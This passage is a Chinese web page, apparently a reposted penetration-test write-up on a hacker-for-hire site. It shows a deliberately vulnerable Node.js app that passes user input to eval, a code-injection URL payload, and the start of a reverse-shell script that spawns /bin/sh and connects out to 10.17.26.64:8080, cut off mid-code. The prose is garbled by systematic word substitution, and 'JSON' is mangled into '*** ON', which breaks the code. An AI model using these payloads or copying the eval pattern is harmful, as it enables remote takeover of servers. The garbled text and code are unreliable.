Node.js使用的反向shell

访客5年前黑客工具707

布景介绍
一个小型Web开发者团队曾托付咱们对他们的移动使用进行安全评价,该使用的后端是一个REST API。该使用的架构很简单,只由3台linux服务器组成:
Node.js
MongoDB
Redis
首先在不触摸源码的情况下咱们对使用进行了一番测验,成果发现在一些接口假如接纳到了意外的数据就会导致后端程序溃散,咱们还发现redis在公网就能进行拜访,而且没有鉴权。
接下来咱们要做的便是审计Node.js API的代码,理清楚溃散的原因是什么。
简化缝隙的使用程序
咱们创立了一个简练的带有缝隙的Node.js使用,你也能够自己建立测验使用。
这个Node.js使用会监听用户的恳求,比方http://target.tld//?name=do*,获取到name参数的值后会查询对应匹配的动物称号。
'use strict'
const http = require('http');
const url = require('url');
const path = require('path');
 
const animals *** ON = path.join(__dirname, 'animals.json');
const animals = require(animals *** ON);
 
function requestHandler(req, res) {
    let urlParams = url.parse(req.url, true);
    let queryData = urlParams.query;
    res.writeHead(200, {"Content-Type": "application/json"});
 
    if (queryData.name) {
        let searchQuery = stringToRegexp(queryData.name);
        let animalsResult = getAnimals(searchQuery);
        res.end( *** ON.stringify(animalsResult));
    } else {
        res.end();
    }
}
 
function getAnimals(query) {
    let result = [];
 
    for (let animal of animals) {
        if (query.test(animal.name))
            result.push(animal);
    }
 
    return result;
}
 
function stringToRegexp(input) {
    let output = input.replace(/[[]^$.|?+()]/, "$&");
    let prefix, suffix;
 
    if (output[0] == '*') {
        prefix = '/';
        output = output.replace(/^*+/g, '');
    } else {
        prefix = '/^';
    }
 
    if (output[output.length - 1] == '*') {
        suffix = '/i';
        output = output.replace(/*+$/g, '');
    } else {
        suffix = '$/i';
    }
    output = output.replace(/[*]/, '.*');
 
    return eval(prefix + output + suffix);
}
 
const server = http.createServer(requestHandler);
server.listen(3000);
[
    {"name": "Dinosaur"},
    {"name": "Dog"},
    {"name": "Dogfish"},
    {"name": "Dolphin"},
    {"name": "Donkey"},
    {"name": "Dotterel"},
    {"name": "Dove"},
    {"name": "Dragonfly"},
    {"name": "Duck"}
]
缝隙
在对代码进行了几分钟的剖析后,咱们就发现了开发者一个很欠好的习气,这个坏习气将会导致长途指令履行。
stringToRegexp函数会创立出一个RegExp目标来对用户的输入数据进行检测,并使用这个正则表达式目标来搜索数组中的数据元素。
return eval(prefix + output + suffix); // we control output value
咱们能够在output这个变量中刺进恣意的Javascript代码而且履行。
stringToRegexp函数会过滤一些特别的字符而且对output变量进行检查。
["./;require('util').log('Owned');//*"]
拜访如下的链接将会在服务器终端打印一条信息
http://target.tld/?name=["./;require('util').log('Owned');//*"]
这样咱们就能够履行代码,然后获取到服务器的交互Shell(比方/bin/sh)。
Node.js反向Shell
如下的Javascript便是一个Node.js的反向衔接shell。
这个payload将会生成一个/bin/sh的shell,创立一个TCP衔接到攻击者的服务器,而且在通讯数据流中绑定shell指令。
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){

[1] [2]  黑客接单网

相关文章

RFI绕过URL包含限制Getshell-黑客接单平台

为什么有今日这篇文章?原因是我在阅读Twitter时,发现关于长途文件包括RFI的一个奇淫技巧!值得记载一下,思路也很别致!由于它打破我之前认为RFI已死的观念:) 正文 RFI引出 咱们知道php最...

使用Google进行批量SQL注入扫描-黑客接单平台

0×01:简介 在运用GoogleHack进行SQL注入点查询时,手艺的办法一般为经过谷歌语法的inurl判别是否存在动态查询参数,然后对查询的网站url进行手艺判别是否存在SQL注入缝隙,如or 1...

那些年挖过的SRC之我是捡漏王

输出这篇文章的意图也是为了很多人在挖洞时,看到其他大佬钱拿的不要不要的时分,只能在咱们自己自己电脑面前束手无策,这篇文章也是为了带咱们翻开新的思路。 俗话说得好,“不是你套路不行深,是你的根底不行厚...

在Microsoft Edge中完成DOM树

DOM是Web渠道编程模型的根底,其规划和功用直接影响着浏览器管道(Pipeline)的模型,可是,DOM的前史演化却远不是一个简略的工作。 在曩昔三年中,微软的安全专家们早现已开端在Microsof...

电商安全无小事,怎么有效地抵挡 CSRF 进犯?

 现在,咱们绝大多数人都会在网上购物买东西。可是许多人都不清楚的是,许多电商网站会存在安全缝隙。比方乌云就通报过,国内许多家公司的网站都存在 CSRF 缝隙。假如某个网站存在这种安全缝隙的话,那么咱们...

浸透测验神器Cobalt Strike的“双面特务”身份剖析

CobaltStrike是一款内网浸透的商业远控软件,支撑自定义脚本扩展,功用十分强壮,常被业界人称为CS神器。Cobalt Strike现已不再运用MSF而是作为独自的渠道运用,它分为客户端与服务端...